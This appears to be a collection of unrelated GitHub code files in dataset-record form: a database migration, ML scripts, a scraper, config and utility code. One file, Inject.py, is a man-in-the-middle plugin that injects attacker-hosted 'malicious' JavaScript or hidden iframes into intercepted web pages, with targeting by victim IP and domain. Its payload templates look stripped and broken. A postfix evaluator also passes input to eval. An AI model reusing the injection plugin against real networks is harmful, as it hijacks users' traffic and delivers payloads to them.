res\r\n","repo_name":"sergio-alv-per/VacunacionGal","sub_path":"basedatos.py","file_name":"basedatos.py","file_ext":"py","file_size_in_byte":2725,"program_lang":"python","lang":"es","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"4285596648","text":"\"\"\"empty message\n\nRevision ID: 5bce57126e56\nRevises: 8e3a53f9f5e5\nCreate Date: 2022-05-28 15:08:17.233191\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = '5bce57126e56'\ndown_revision = '8e3a53f9f5e5'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('check_progress', sa.Column('user_id', sa.Integer(), nullable=True))\n op.create_foreign_key(None, 'check_progress', 'users', ['user_id'], ['id'])\n op.drop_column('check_progress', 'treated_records')\n op.drop_column('check_progress', 'total_records')\n op.add_column('users', sa.Column('login', sa.String(length=255), nullable=True))\n op.drop_column('users', 'email')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('users', sa.Column('email', mysql.VARCHAR(length=255), nullable=True))\n op.drop_column('users', 'login')\n op.add_column('check_progress', sa.Column('total_records', mysql.INTEGER(), autoincrement=False, nullable=True))\n op.add_column('check_progress', sa.Column('treated_records', mysql.INTEGER(), autoincrement=False, nullable=True))\n op.drop_constraint(None, 'check_progress', type_='foreignkey')\n op.drop_column('check_progress', 'user_id')\n # ### end Alembic commands ###\n","repo_name":"msrogerio/sugar","sub_path":"migrations/versions/5bce57126e56_.py","file_name":"5bce57126e56_.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"45785082137","text":"import logging\nimport time\nimport re\nimport sys\nimport argparse\n\nfrom core.utils import SystemConfig\nfrom plugins.plugin import Plugin\nfrom plugins.CacheKill import CacheKill\n\nmitmf_logger = logging.getLogger(\"mitmf\")\n\nclass Inject(CacheKill, Plugin):\n name = \"Inject\"\n optname = \"inject\"\n desc = \"Inject arbitrary content into HTML content\"\n version = \"0.3\"\n has_opts = True\n\n def initialize(self, options):\n '''Called if plugin is enabled, passed the options namespace'''\n self.options = options\n self.our_ip = SystemConfig.getIP(options.interface)\n self.html_src = options.html_url\n self.js_src = options.js_url\n self.rate_limit = options.rate_limit\n self.count_limit = options.count_limit\n self.per_domain = options.per_domain\n self.black_ips = options.black_ips.split(',')\n self.white_ips = options.white_ips.split(',')\n self.white_domains = options.white_domains.split(',')\n self.black_domains = options.black_domains.split(',')\n self.match_str = \"\" or options.match_str\n self.html_payload = options.html_payload\n self.ctable = {}\n self.dtable = {}\n self.count = 0\n self.mime = \"text/html\"\n\n if not options.preserve_cache:\n CacheKill.initialize(self, options)\n\n def serverResponse(self, response, request, data):\n #We throttle to only inject once every two seconds per client\n #If you have MSF on another host, you may need to check prior to injection\n #print \"http://\" + response.client.getRequestHostname() + response.uri\n ip, hn, mime = self._get_req_info(response)\n if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.our_ip):\n if (not self.js_src == self.html_src is not None or not self.html_payload == \"\"):\n data = self._insert_html(data, post=[(self.match_str, self._get_payload())])\n self.ctable[ip] = time.time()\n self.dtable[ip+hn] = True\n self.count += 1\n mitmf_logger.info(\"{} [{}] Injected malicious html: {}\".format(ip, self.name, hn))\n\n return {'response': response, 'request':request, 'data': data}\n\n def _get_payload(self):\n return self._get_js() + self._get_iframe() + self.html_payload\n\n def _ip_filter(self, ip):\n\n if self.white_ips[0] != '':\n if ip in self.white_ips:\n return True\n else:\n return False\n\n if self.black_ips[0] != '':\n if ip in self.black_ips:\n return False\n else:\n return True\n\n return True\n\n def _host_filter(self, host):\n\n if self.white_domains[0] != '':\n if host in self.white_domains:\n return True\n else:\n return False\n\n if self.black_domains[0] != '':\n if host in self.black_domains:\n return False\n else:\n return True\n\n return True\n\n\n def _should_inject(self, ip, hn, mime):\n\n if self.count_limit == self.rate_limit is None and not self.per_domain:\n return True\n\n if self.count_limit is not None and self.count > self.count_limit:\n return False\n\n if self.rate_limit is not None:\n if ip in self.ctable and time.time()-self.ctable[ip] < self.rate_limit:\n return False\n\n if self.per_domain:\n return not ip+hn in self.dtable\n\n return mime.find(self.mime) != -1\n\n def _get_req_info(self, response):\n ip = response.getClientIP()\n hn = response.getRequestHostname()\n mime = response.headers['Content-Type']\n return (ip, hn, mime)\n\n def _get_iframe(self):\n if self.html_src is not None:\n return '' % (self.html_src)\n return ''\n\n def _get_js(self):\n if self.js_src is not None:\n return '' % (self.js_src)\n return ''\n\n def _insert_html(self, data, pre=[], post=[], re_flags=re.I):\n '''\n To use this function, simply pass a list of tuples of the form:\n \n (string/regex_to_match,html_to_inject)\n \n NOTE: Matching will be case insensitive unless differnt flags are given\n \n The pre array will have the match in front of your injected code, the post\n will put the match behind it.\n '''\n pre_regexes = [re.compile(r\"(?P\"+i[0]+\")\", re_flags) for i in pre]\n post_regexes = [re.compile(r\"(?P\"+i[0]+\")\", re_flags) for i in post]\n\n for i, r in enumerate(pre_regexes):\n data = re.sub(r, \"\\g\"+pre[i][1], data)\n\n for i, r in enumerate(post_regexes):\n data = re.sub(r, post[i][1]+\"\\g\", data)\n\n return data\n\n def pluginOptions(self, options):\n options.add_argument(\"--js-url\", type=str, help=\"Location of your (presumably) malicious Javascript.\")\n options.add_argument(\"--html-url\", type=str, help=\"Location of your (presumably) malicious HTML. Injected via hidden iframe.\")\n options.add_argument(\"--html-payload\", type=str, default='', help=\"String you would like to inject.\")\n #options.add_argument(\"--html-file\", type=argparse.FileType('r'), help='File containg HTML you would like to inject')\n options.add_argument(\"--match-str\", type=str, default=None, help=\"String you would like to match and place your payload before. ( by default)\")\n options.add_argument(\"--preserve-cache\", action=\"store_true\", help=\"Don't kill the server/client caching.\")\n group = options.add_mutually_exclusive_group(required=False)\n group.add_argument(\"--per-domain\", action=\"store_true\", default=False, help=\"Inject once per domain per client.\")\n group.add_argument(\"--rate-limit\", type=float, default=None, help=\"Inject once every RATE_LIMIT seconds per client.\")\n group.add_argument(\"--count-limit\", type=int, default=None, help=\"Inject only COUNT_LIMIT times per client.\")\n group.add_argument(\"--white-ips\", metavar='IPS', type=str, default='', help=\"Inject content ONLY for these ips (comma seperated)\")\n group.add_argument(\"--black-ips\", metavar='IPS', type=str, default='', help=\"DO NOT inject content for these ips (comma seperated)\")\n group.add_argument(\"--white-domains\", metavar='DOMAINS', type=str, default='', help=\"Inject content ONLY for these domains (comma seperated)\")\n group.add_argument(\"--black-domains\", metavar='DOMAINS', type=str, default='', help=\"DO NOT inject content for these domains (comma seperated)\")\n","repo_name":"lucap91/mitmf","sub_path":"plugins/Inject.py","file_name":"Inject.py","file_ext":"py","file_size_in_byte":6901,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"37183449294","text":"import torch\nfrom torchvision import transforms\nfrom torchvision import datasets\nfrom torch.utils.data import DataLoader\nimport torch.nn.functional as F\nimport torch.optim as optim\n\"\"\"之前linear都是全连接神经网络,这次做的是卷积神经网络\"\"\"\n\n\"\"\"构建数据集的转换器,transforms.ToTensor()是将拿到的数据集转化为张量,数据集里的图片是28*28的像素,经过转换,会变成1*28*28的张量(1是通道数量),\ntransforms.Normalize((0.1307,), (0.3081))是把数据集变成均值为0.1307,标准差为0.3081的正态分布\"\"\"\ntransform = transforms.Compose([transforms.ToTensor(),transforms.Normalize((0.1307,), (0.3081))])\n\"\"\"下载数据集\"\"\"\ntrain_dataset = datasets.MNIST(root=\"C:\\\\python\\\\python3.9-Mindspore-深度学习\\\\课件和数据集\\\\minist\\\\\",\ntrain=True,transform=transform,download=False)#train为True下载训练集,反之下载数据集,download确定是否下载,transform设置数据集的转换器\ntest_dataset = datasets.MNIST(root=\"C:\\\\python\\\\python3.9-Mindspore-深度学习\\\\课件和数据集\\\\minist\\\\\",\ntransform=transform,train = False,download=False)\n\"\"\"对数据集做mini-batch处理\"\"\"\ntrain_loader = DataLoader(dataset = train_dataset,batch_size=64,shuffle=True)\ntest_loader = DataLoader(dataset = test_dataset,batch_size=64,shuffle=False)\n\n\"\"\"构建卷积神经网路\"\"\"\nclass Net(torch.nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n #对输入图像做第一层卷积\n self.conv1 = torch.nn.Conv2d(1, 10, kernel_size = 5)#这里bais会加一个默认偏置为TRUE,这里把图像通道数从1维变成10维\n self.conv2 = torch.nn.Conv2d(10, 20, kernel_size = 5)#通道数从10维变成20维\n #设置池化层,就是将一个���道的图像分割,在那个区域中找出像素值最高的像素点代替整个区域\n self.pooling = torch.nn.MaxPool2d(kernel_size=2)#分割成2*2的区域,用来减小图片大小,但不会影响图片维度\n self.fc = torch.nn.Linear(320, 10)#做线性层的激活映射到10个分类的维度\n\n def forward(self,x):\n batch_size = x.size(0)\n x = F.relu(self.pooling(self.conv1(x)))#需要relu函数对结果做非线性激活\n x = F.relu(self.pooling(self.conv2(x)))\n x = x.view(batch_size,-1)#64实际上就是batch_size,一次输入64张图片,剩下就自动计算一张图片几个像素点(实际上就是320)\n #print(x.size(1))\n x = self.fc(x)\n return x\n\nmodel = Net()\n\"\"\"来试试使用显卡\"\"\"\ndevice = torch.device(\"cuda:0\")\n#把模型放到显卡上跑\nmodel.to(device)\ncriterion = torch.nn.CrossEntropyLoss()#也是交叉熵损失,但是是多分类问题的\noptimizer = optim.SGD(model.parameters(), lr = 0.01,momentum=0.5)#这里momentum是在设置冲量,用来冲破局部最小值\n\ndef train(epoch):\n running_loss = 0.0\n for batch_idx,data in enumerate(train_loader):\n inputs,targets = data\n inputs = inputs.to(device)\n targets = targets.to(device)\n\n outputs = model(inputs)\n loss = criterion(outputs,targets)\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n running_loss += loss.item()\n if batch_idx%300 == 299:\n print(\"[%d, %5d] loss: %.3lf\"%(epoch+1, batch_idx+1, running_loss/300))\n running_loss = 0.0\n\ndef test():\n correct = 0\n total = 0\n with torch.no_grad():\n for data in test_loader:\n inputs,targets = data\n inputs = inputs.to(device)\n targets = targets.to(device)\n outputs = model(inputs)\n\n \"\"\"用max函数查找每一行的最大值,那个就是模型预测的分类,会返回最大值和最大值的下标\"\"\"\n _,predicts = torch.max(outputs,dim=1)#dem=1就是按照列这个维度找一行中哪一列的值最大\n\n total += targets.size(0)#计算整个结果数量\n correct += (predicts == targets).sum().item() #计算正确结果的数量\n \n print(\"准确率为:%d %%\"%(100*correct/total))\n\nif __name__ == \"__main__\":\n for epoch in range(100):\n train(epoch)\n test()\n\n\n","repo_name":"glenn-raddars/deep-learning-pytorch","sub_path":"pytorch应用/cnn卷积神经网络.py","file_name":"cnn卷积神经网络.py","file_ext":"py","file_size_in_byte":4219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"72459649478","text":"class LinkedListNode:\n\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass Stack:\n\n def __init__(self):\n self.num_elements = 0\n self.head = None\n\n def push(self, data):\n new_node = LinkedListNode(data)\n if self.head is None:\n self.head = new_node\n else:\n new_node.next = self.head\n self.head = new_node\n self.num_elements += 1\n\n def pop(self):\n if self.is_empty():\n return None\n temp = self.head.data\n self.head = self.head.next\n self.num_elements -= 1\n return temp\n\n def top(self):\n if self.head is None:\n return None\n return self.head.data\n\n def size(self):\n return self.num_elements\n\n def is_empty(self):\n return self.num_elements == 0\n\n\ndef evaluate_post_fix(input_list):\n \"\"\"\n Evaluate the postfix expression to find the answer\n\n Args:\n input_list(list): List containing the postfix expression\n Returns:\n int: Postfix expression solution\n \"\"\"\n number_stack = Stack()\n operator_string = \"+-*/\"\n result = None\n for item in input_list:\n if not item in operator_string:\n number_stack.push(item)\n else:\n right_num = number_stack.pop()\n left_num = number_stack.pop()\n result = int(eval(left_num+item+right_num))\n number_stack.push(str(result))\n return result\n\n\ndef test_function(test_case):\n output = evaluate_post_fix(test_case[0])\n print(output)\n if output == test_case[1]:\n print(\"Pass\")\n else:\n print(\"Fail\")\n\n\ntest_case_1 = [[\"3\", \"1\", \"+\", \"4\", \"*\"], 16]\n\ntest_function(test_case_1)\n\ntest_case_2 = [[\"4\", \"13\", \"5\", \"/\", \"+\"], 6]\ntest_function(test_case_2)\n\ntest_case_3 = [[\"10\", \"6\", \"9\", \"3\", \"+\", \"-11\",\n \"*\", \"/\", \"*\", \"17\", \"+\", \"5\", \"+\"], 22]\ntest_function(test_case_3)\n","repo_name":"xia0m/LPTHW-Next","sub_path":"Stack/reverse_polish_notation.py","file_name":"reverse_polish_notation.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36783742199","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 3 10:50:33 2021\n\n@author: pradyumna agrawal\n\"\"\"\n\nimport DSAsorts2\nimport sys\n\nf = open(\"RandomNames7000(2).csv\")\na = f.readlines()\nlst = [[int(i.split(',')[0]), i.split(',')[1]] for i in a]\ns_type = sys.argv[1]\n\nif s_type == 'b':\n blst = DSAsorts2.bubbleSort(lst)\n f = open(\"BubbleSortedNames.csv\", \"w\")\n for i in blst:\n f.write(str(i[0]) + ',' + str(i[1]))\n \nif s_type == 'i':\n ilst = DSAsorts2.insertionSort(lst)\n f = open(\"InsertionSortedNames.csv\", \"w\")\n for i in ilst:\n f.write(str(i[0]) + ',' + str(i[1]))\n \nif s_type == 's':\n slst = DSAsorts2.selectionSort(lst)\n f = open(\"SelectionSortedNames.csv\", \"w\")\n for i in slst:\n f.write(str(i[0]) + ',' + str(i[1]))","repo_name":"pradayumna/DSA","sub_path":"Prac1/sortcsv.py","file_name":"sortcsv.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"18946744934","text":"#Simple program that uses Naive Bayes approach to predict the class of new input based on given dataset\r\n#Note that the dataset created is 2-D for visualization purpose\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport math\r\n\r\nmu1 = np.array([0, 0])\r\nmu2 = np.array([2.5, 1.5])\r\nX = np.zeros((50,2))\r\nX[:35,:] = np.random.randn(35,2) + mu1\r\nX[35:,:] = np.random.randn(15,2) + mu2\r\ny = np.concatenate((np.zeros(35), np.ones(15)))\r\n\r\nplt.scatter(X[:,0],X[:,1],c=y)\r\nplt.show()\r\n\r\nradius = 1.5\r\n\r\npredict = 'y'\r\n\r\nwhile(predict.lower() == 'y'):\r\n\r\n req_pts = []\r\n new_x1 = float(input(\"Enter 1st feature value:\"))\r\n new_x2 = float(input(\"Enter 2nd feature value:\"))\r\n new_x = [new_x1,new_x2]\r\n \r\n for i in range(50):\r\n dist = math.sqrt((X[i][0]-new_x[0])**2 + (X[i][1]-new_x[1])**2)\r\n if dist < radius:\r\n req_pts.append(y[i])\r\n\r\n cnt0 = 0\r\n cnt1 = 0\r\n for i in req_pts:\r\n if i == 0:\r\n cnt0+=1\r\n else:\r\n cnt1+=1\r\n\r\n Cnt0 = 0\r\n Cnt1 = 0\r\n for i in list(y):\r\n if i == 0:\r\n Cnt0+=1\r\n else:\r\n Cnt1+=1\r\n\r\n cnt = max([cnt0,cnt1])\r\n \r\n Px = cnt/len(req_pts)\r\n\r\n P1 = Cnt0/(Cnt0 + Cnt1)\r\n P2 = Cnt1/(Cnt0 + Cnt1)\r\n\r\n Px1 = cnt0/Cnt0\r\n Px2 = cnt1/Cnt1\r\n\r\n P1x = Px1*P1/Px\r\n P2x = Px2*P2/Px\r\n\r\n print(\"Prediction-\")\r\n if P1x > P2x:\r\n print(\"Class 0\")\r\n elif P1x < P2x:\r\n print(\"Class 1\")\r\n else:\r\n print(\"Random/any\")\r\n\r\n predict = input(\"y/n?\")\r\n\r\n \r\n","repo_name":"Intelectron6/Classification","sub_path":"naive_bayes.py","file_name":"naive_bayes.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"32389013882","text":"import requests\nimport json\n\n\n# 请求html文本\ndef getHtmlText(url, code='UTF-8'):\n trytime = 5\n while trytime > 0:\n try:\n header = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.26 Safari/537.36 Core/1.63.6726.400 QQBrowser/10.2.2265.400',\n }\n r = requests.get(url, headers=header, timeout=5)\n r.raise_for_status()\n r.encoding = code\n return r.text\n except:\n print(\"get获取失败,重连中\")\n trytime -= 1\n\n\n\n# 获取微博用户信息\ndef getUserInfo(uid):\n url = 'https://m.weibo.cn/api/container/getIndex?type=uid&value={}'.format(uid)\n Infomation = json.loads(getHtmlText(url))\n UserInfo = {}\n UserInfo['id'] = Infomation['data']['userInfo']['id']\n UserInfo['name'] = Infomation['data']['userInfo']['screen_name']\n UserInfo['gender'] = '女' if Infomation['data']['userInfo']['gender'] == 'f' else '男'\n UserInfo['statuses_count'] = Infomation['data']['userInfo']['statuses_count']\n UserInfo['desc'] = Infomation['data']['userInfo']['description']\n UserInfo['fans_count'] = Infomation['data']['userInfo']['followers_count']\n UserInfo['follow_count'] = Infomation['data']['userInfo']['follow_count']\n # with open('./UserInfo.json', 'w', encoding='utf-8') as f:\n # f.write(json.dumps(UserInfo, ensure_ascii=False))\n return UserInfo\n\n\n# 输出用户基本信息,用于在爬取数据或其他时候方便的输出查看用户信息\ndef printUserInfo(UserInfo):\n print('id:{}\\t微博名:{}\\t性别:{}\\t发微博数:{}\\t粉丝数:{}\\t关注数:{}'\n .format(UserInfo['id'],\n UserInfo['name'],\n UserInfo['gender'],\n UserInfo['statuses_count'],\n UserInfo['fans_count'],\n UserInfo['follow_count']\n )\n )","repo_name":"Billdex/weiboSpider","sub_path":"spiderUtils.py","file_name":"spiderUtils.py","file_ext":"py","file_size_in_byte":1967,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"21400522498","text":"#!/usr/bin/env python\n# _*_ coding:utf-8 _*_\n\n\"\"\"\nProject-wide application configuration.\n\nDO NOT STORE SECRETS, PASSWORDS, ETC. IN THIS FILE.\nThey will be exposed to users. Use environment variables instead.\nSee get_secrets() below for a fast way to access them.\n\"\"\"\n\nimport logging\nimport os\n\nfrom authomatic.providers import oauth2\nfrom authomatic import Authomatic\n\n\n\"\"\"\nNAMES\n\"\"\"\n# Project name to be used in urls\n# Use dashes, not underscores!\nPROJECT_SLUG = 'annotateAddon'\n\n# Project name to be used in file paths\nPROJECT_FILENAME = 'annotateAddon'\n\n# The name of the repository containing the source\nREPOSITORY_NAME = 'annotateAddon'\nGITHUB_USERNAME = 'nprapps'\nREPOSITORY_URL = 'git@github.com:%s/%s.git' % (\n GITHUB_USERNAME, REPOSITORY_NAME)\nREPOSITORY_ALT_URL = None # 'git@bitbucket.org:nprapps/%s.git' % REPOSITORY_NAME'\n\nDEBUG = True\nLOG_LEVEL = logging.INFO\n\n\"\"\"\nGOOGLE APPS SCRIPTS\n\"\"\"\nGAS_PROJECT_NAME = 'Annotate' # Google app scripts addon project name\nDRIVE_PARENT_FOLDER_ID = '0B6C-jdxmvrJoM3JnZ1ZZUkhVQTg' # Parent id in drive\n\nGOOGLE_OAUTH_CREDENTIALS_PATH = '~/.google_oauth_credentials'\n\nauthomatic_config = {\n 'google': {\n 'id': 1,\n 'class_': oauth2.Google,\n 'consumer_key': os.environ.get('GOOGLE_OAUTH_CLIENT_ID'),\n 'consumer_secret': os.environ.get('GOOGLE_OAUTH_CONSUMER_SECRET'),\n 'scope': ['https://www.googleapis.com/auth/drive',\n 'https://www.googleapis.com/auth/userinfo.email',\n 'https://www.googleapis.com/auth/drive.scripts',\n 'https://www.googleapis.com/auth/documents',\n 'https://www.googleapis.com/auth/script.external_request',\n 'https://www.googleapis.com/auth/script.scriptapp',\n 'https://www.googleapis.com/auth/script.send_mail',\n 'https://www.googleapis.com/auth/script.storage',\n 'https://www.googleapis.com/auth/spreadsheets'],\n 'offline': True,\n },\n}\n\nauthomatic = Authomatic(authomatic_config, os.environ.get('AUTHOMATIC_SALT'))\n\n\"\"\"\nLogging\n\"\"\"\nLOG_FORMAT = '%(levelname)s:%(name)s:%(asctime)s: %(message)s'\n\n\ndef get_secrets():\n \"\"\"\n A method for accessing our secrets.\n \"\"\"\n secrets_dict = {}\n\n for k, v in os.environ.items():\n if k.startswith(PROJECT_SLUG):\n k = k[len(PROJECT_SLUG) + 1:]\n secrets_dict[k] = v\n\n return secrets_dict\n\n\ndef configure_targets(deployment_target):\n \"\"\"\n Configure deployment targets. Abstracted so this can be\n overriden for rendering before deployment.\n \"\"\"\n global DEPLOYMENT_TARGET\n DEPLOYMENT_TARGET = deployment_target\n\n\n\"\"\"\nRun automated configuration\n\"\"\"\nDEPLOYMENT_TARGET = os.environ.get('DEPLOYMENT_TARGET', None)\n\nconfigure_targets(DEPLOYMENT_TARGET)\n","repo_name":"nprapps/anno-docs-addon","sub_path":"app_config.py","file_name":"app_config.py","file_ext":"py","file_size_in_byte":2801,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"34524599494","text":"# pylint: disable=too-few-public-methods\n\"\"\"\nFile writing classes\n\"\"\"\n\nimport os\nimport shutil\nimport tempfile\nimport time\n\n\nclass FileWriter:\n \"\"\"Generic file writer\"\"\"\n\n def __init__(self, path: str):\n \"\"\"\n Create generic file writer.\n\n :param path: Absolute path of file to write\n \"\"\"\n self._path = path\n\n def write(\n self,\n contents: str,\n mode: int = 0o644,\n backup: bool = True,\n suffix: str = \"\",\n sync: bool = True,\n ) -> None:\n \"\"\"\n Write data to a file.\n\n :param contents: File contents\n :param mode: File access mode\n :param backup: Whether to back up existing file\n :param suffix: Suffix to use for the temporary file\n :param sync: Whether to issue fsync call(s) for extra data safety\n :return: None\n \"\"\"\n # Write contents to a temporary file *in the same directory*, so\n # that the rename can be atomic.\n parent_dir = os.path.dirname(os.path.abspath(self._path))\n tmpfile = None\n osfh = None\n try:\n osfh, tmpfile = tempfile.mkstemp(dir=parent_dir, suffix=suffix)\n os.write(osfh, contents.encode(\"utf-8\"))\n if sync:\n os.fsync(osfh)\n os.close(osfh)\n osfh = None\n\n # Set mode bits\n os.chmod(tmpfile, mode)\n\n if backup and os.path.exists(self._path):\n # Write backup of existing file\n shutil.copy2(self._path, self._path + \".bak\")\n\n # Atomically replace target\n os.rename(tmpfile, self._path)\n\n except Exception:\n if tmpfile is not None:\n os.remove(tmpfile)\n if osfh is not None:\n os.close(osfh)\n raise\n\n # (Optionally) force a sync on the parent directory - if we're\n # being cautious and renaming into place, etc. then let's do\n # our best for data safety by ensuring the file has been\n # updated and is findable in the directory.\n if sync:\n dirfd = os.open(parent_dir, os.O_RDONLY)\n os.fsync(dirfd)\n os.close(dirfd)\n\n\nclass HeadedFileWriter(FileWriter):\n \"\"\"File writer for headed files.\"\"\"\n\n def write(\n self,\n contents: str,\n mode: int = 0o644,\n backup: bool = True,\n suffix: str = \"\",\n sync: bool = True,\n ) -> None:\n \"\"\"Write data to a file, prepending a common header.\n\n Args:\n - contents (str) : File contents\n - mode (int) : File access mode\n - backup (bool): Whether to back up existing file\n - suffix (str): Suffix to use for the temporary file\n - sync (bool): Whether to issue fsync call(s) for extra data safety\n\n Defaults:\n - mode : Defaults to a mode of 0644 (rw-r--r--)\n - backup: Defaults to True\n - suffix: Defaults to '' (i.e. no suffix)\n - sync : Defaults to True\n \"\"\"\n now = time.strftime(\"%Y-%m-%d %H:%M:%S %Z\", time.gmtime())\n heading = f\"\"\"# >{self._path}\n# Written at {now} by {self.__class__.__name__}\n\"\"\"\n FileWriter.write(\n self, heading + contents, mode=mode, backup=backup, suffix=suffix, sync=sync\n )\n","repo_name":"pexip/rp-turn","sub_path":"src/rp_turn/platform/filewriter.py","file_name":"filewriter.py","file_ext":"py","file_size_in_byte":3362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"43765594227","text":"import apache_beam as beam\nfrom apache_beam.io.gcp.bigquery import WriteToBigQuery\n\n\n\n# Define your GCP project ID, bucket, and BigQuery dataset and table names\nproject_id = 'autonomous-tube-363006'\nbucket_name = 'meetupxebia'\ndataset_name = 'sample'\ntable_name = 'venues'\n\n# Define the JSON file pattern in the GCP bucket\njson_file_pattern = 'gs://meetupxebia/events.json'.format(bucket_name)\n\n# Define the Beam pipeline\ndef run():\n with beam.Pipeline() as pipeline:\n # Read the JSON file from the GCP bucket\n json_data = pipeline | 'Read JSON' >> beam.io.ReadFromText(json_file_pattern)\n\n # Load the JSON data into BigQuery with auto-detected schema\n json_data | 'Write to BigQuery' >> WriteToBigQuery(\n table='{}.{}'.format(dataset_name, table_name),\n dataset=dataset_name,\n project=project_id,\n schema='AUTO_DETECT',\n write_disposition=beam.io.BigQueryDisposition.WRITE_TRUNCATE\n )\n\n# Run the pipeline\nif __name__ == '__main__':\n run()","repo_name":"pritamAnzwerz/xebiameetup","sub_path":"datapipeline.py","file_name":"datapipeline.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"41568205695","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[18]:\n\n\nimport numpy as np\nimport pandas as pd\n\n\n# In[19]:\n\n\n##Load train data\ntrain_data = pd.read_csv('/Users/neha/Documents/Semester_2/601TrailRuns/v3.0_train/task1-train.txt', delimiter = \"\\t\", header = None)\n\n\n# In[20]:\n\n\nlen(train_data)\n\n\n# In[21]:\n\n\n##Renaming column name.\ntrain_data = train_data.rename(columns = {0 : \"text\"})\ntrain_data = train_data.rename(columns = {1 : \"lang_variant\"})\n##Training the model just for portuguese variant.\n#portugese_var =['pt-BR', 'pt-PT']\nportugese_var =['pt-BR']\n#portugese_var =['pt-PT']\ntrain_pt_BR = train_data[train_data['lang_variant'].isin(portugese_var)]\n\n\n# In[22]:\n\n\nlen(train_pt_BR)\n\n\n# In[23]:\n\n\nnumpy_array = train_pt_BR.to_numpy()\nnp.savetxt(\"train_pt_BR.txt\", numpy_array, fmt = \"%s\")\n\n\n# In[24]:\n\n\ntrain_pt_BR.to_csv(\"train_pt_BR.csv\", index=True)\n\n\n# In[25]:\n\n\n##Renaming column name.\ntrain_data = train_data.rename(columns = {0 : \"text\"})\ntrain_data = train_data.rename(columns = {1 : \"lang_variant\"})\n##Training the model just for portuguese variant.\n#portugese_var =['pt-BR', 'pt-PT']\n#portugese_var =['pt-BR']\nportugese_var =['pt-PT']\ntrain_pt_PT = train_data[train_data['lang_variant'].isin(portugese_var)]\n\n\n# In[26]:\n\n\nlen(train_pt_PT)\n\n\n# In[27]:\n\n\nnumpy_array = train_pt_PT.to_numpy()\nnp.savetxt(\"train_pt_PT.txt\", numpy_array, fmt = \"%s\")\n\n\n# In[28]:\n\n\ntrain_pt_PT.to_csv(\"train_pt_PT.csv\", index=True)\n\n\n# In[29]:\n\n\n#Creation of Bag1\nbag1 = pd.concat([train_pt_BR[0:1250],train_pt_PT[0:1250]])\n\n\n# In[30]:\n\n\nbag1['id'] = (bag1.index.values)\n\n\n# In[31]:\n\n\nbag1 = bag1.reindex(columns=['id','text','lang_variant'])\n\n\n# In[32]:\n\n\nbag1_shuffle = bag1.sample(frac=1)\nlen(bag1_shuffle)\n\n\n# In[33]:\n\n\nnumpy_array = bag1.to_numpy()\nnp.savetxt(\"bag1.txt\", numpy_array, fmt = \"%s\")\nbag1.to_csv(\"bag1.csv\", index=True)\nnumpy_array = bag1_shuffle.to_numpy()\nnp.savetxt(\"bag1_shuffle.txt\", numpy_array, fmt = \"%s\")\nbag1_shuffle.to_csv(\"bag1_shuffle.csv\", index=True)\n\n\n# In[34]:\n\n\nbag1.head\n\n\n# In[35]:\n\n\nbag1_shuffle.head\n\n\n# In[36]:\n\n\n#Creation of Bag2\nbag2 = pd.concat([train_pt_BR[1250:2500],train_pt_PT[1250:2500]])\n\n\n# In[39]:\n\n\nbag2_shuffle = bag2.sample(frac=1)\nlen(bag2_shuffle)\n\n\n# In[40]:\n\n\nbag2_no_label = bag2.drop('lang_variant', axis = 1)\n\n\n# In[41]:\n\n\nbag2_shuffle_no_label = bag2_no_label.sample(frac=1)\nlen(bag2_shuffle_no_label)\n\n\n# In[42]:\n\n\nlen(bag2)\n\n\n# In[43]:\n\n\nnumpy_array = bag2_no_label.to_numpy()\nnp.savetxt(\"bag2_no_label.txt\", numpy_array, fmt = \"%s\")\nbag2_no_label.to_csv(\"bag2_no_label.csv\", index=True)\nnumpy_array = bag2_shuffle_no_label.to_numpy()\nnp.savetxt(\"bag2_shuffle_no_label.txt\", numpy_array, fmt = \"%s\")\nbag2_shuffle_no_label.to_csv(\"bag2_shuffle_no_label.csv\", index=True)\n\n\n# In[44]:\n\n\nnumpy_array = bag2.to_numpy()\nnp.savetxt(\"bag2.txt\", numpy_array, fmt = \"%s\")\nbag2.to_csv(\"bag2.csv\", index=True)\nnumpy_array = bag2_shuffle.to_numpy()\nnp.savetxt(\"bag2_shuffle.txt\", numpy_array, fmt = \"%s\")\nbag2_shuffle.to_csv(\"bag2_shuffle.csv\", index=True)\n\n\n# In[45]:\n\n\nbag2.head\n\n\n# In[46]:\n\n\nbag1_no_label = 